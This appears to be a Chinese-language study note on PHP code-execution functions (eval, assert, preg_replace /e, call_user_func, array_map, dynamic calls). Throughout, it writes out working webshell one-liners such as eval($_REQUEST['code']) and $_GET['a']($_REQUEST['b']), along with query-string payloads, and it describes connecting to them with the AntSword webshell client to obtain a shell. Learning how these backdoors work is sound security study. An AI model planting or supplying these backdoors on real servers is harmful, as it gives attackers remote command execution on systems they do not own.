代码执行语句
eval()
-
不是函数,不能被动态调用,并且需要以
;
结束 -
直接输出,不执行
<?php $code="phpinfo();"; echo $code; ?>
-
eval() 语句执行
<?php $code="phpinfo();"; eval($code); // eval 不是函数,最后要加 ; ?>
-
动态执行
<?php $code=$_REQUEST["code"]; eval($code); ?>
-
一句话木马
<?php eval($_REQUEST["code"]); ?>
蚁剑执行命令
-
其他执行方式
?code=phpinfo(); ?code=${phpinfo()}; ?code=echo abc;phpinfo(); ?code=?>this is a test<?php phpinfo(); ?code=eval(phpinfo());
assert()
-
高版本中删除了 assert()
-
使用方法
<?php assert("<执行语句>"); ?>
-
调用系统函数
-
动态调用
<?php $code=$_REQUEST["code"]; assert($code); ?>
-
蚁剑连接
preg_replace()
-
正则匹配,替换
-
替换字符,忽略大小写
<?php $code=preg_replace("/a/i","e","abAcd"); // "//"两个斜线中的为正则表达式,后面跟选项i,表示不区分大小写 // 此处将 abAcd 中无论大小写的 a 全替换成 e echo $code; ?>
<?php $code=preg_replace("/\[.*\]/i","e","[abcde]"); // "//"两个斜线中的未正则表达式,后面跟选项i,表示不区分大小写 // \ 用来进行转义 // .* 表示全部内容 // 此处将 [abede] 包括中括号,替换成 e echo $code; ?>
$code= preg_replace("/\[(.*)\]/i","e","[phpinfo()]"); // 匹配方括号中的任意字符序列,并将其替换为字母 "e"。所以,"[phpinfo()]" 会被替换为 "e"。最终,变量 $code 的值将是 "e"。
-
捕获
[]
中的内容<?php $code= preg_replace("/\[(.*)\]/i","\\1","[phpinfo()]"); \\1 第一次匹配的不明确的字符(此处为 phpinfo()) // \[(.*)\] 是正则表达式的模式,用于匹配方括号 [ 和 ] 之间的任意字符序列,并将其作为捕获组。 // \[ 匹配左方括号 [。 // (.*) 匹配任意字符序列,并将其作为捕获组。 // \] 匹配右方括号 ]。 // "\\1" 是替换字符串,其中 \\1 表示引用第一个捕获组的内容。 // 将目标字符串 "[phpinfo()]" 中的方括号及其内部的任意字符序列替换为捕获组中的内容。在这个例子中,捕获组中的内容是 "phpinfo()",所以最终 $code 的值将是 "phpinfo()"。 echo $code; ?>
-
执行捕获的
[]
中的内容<?php $code= preg_replace("/\[(.*)\]/ie","\\1","[phpinfo()]"); // \\1 第一次匹配的不明确的字符(此处为 phpinfo()) // 此处的参数 e 会将匹配出的不明确字符执行 echo $code; ?>
回调函数
- 可以调用其他函数的函数
- call_user_func()、array_map()
- eval()、isset() 等为语言结构,不是函数,不能被回调
call_user_func()
-
使用
<?php call_user_func(<调用的函数>,<要传的参数>); ?>
-
例
<?php $func="assert"; $code="phpinfo()"; call_user_func($func,$code); ?>
-
动态执行
<?php $func=$_REQUEST["func"]; $code=$_REQUEST["code"]; call_user_func($func,$code); ?>
-
连接蚁剑
array_map()
-
第二个参数必须是数组
-
使用
<?php $func=$_REQUEST["func"]; $code[]="phpinfo()"; array_map($func,$code); ?>
-
动态执行
<?php $func=$_REQUEST["func"]; $code=$_REQUEST["code"]; array_map($func,$code); ?>
动态函数
-
在 php 中写入最简单的后门函数
<?php $_GET['a']($_GET['b']); ?>
访问此 php 页面
修改传参,成功执行命令
蚁剑连接
-
eval
为一种语言结构,而非函数,不能动态调用 -
可以将
assert
当作 a 的参数,b 的参数为一句话木马,连接蚁剑-
蚁剑为 POST 传参,需要将传参方式设置为
$_POST
或$_REQUEST
<pre> <?php $_GET['a']($_REQUEST['b']); ?>
-
-
蚁剑连接
输入传参后的 url
注意
assert 一次只能传递一个参数,传递多个参数时需要对传参进行编码
连接密码为
$_REQUEST['b']
中的 b -
获取 shell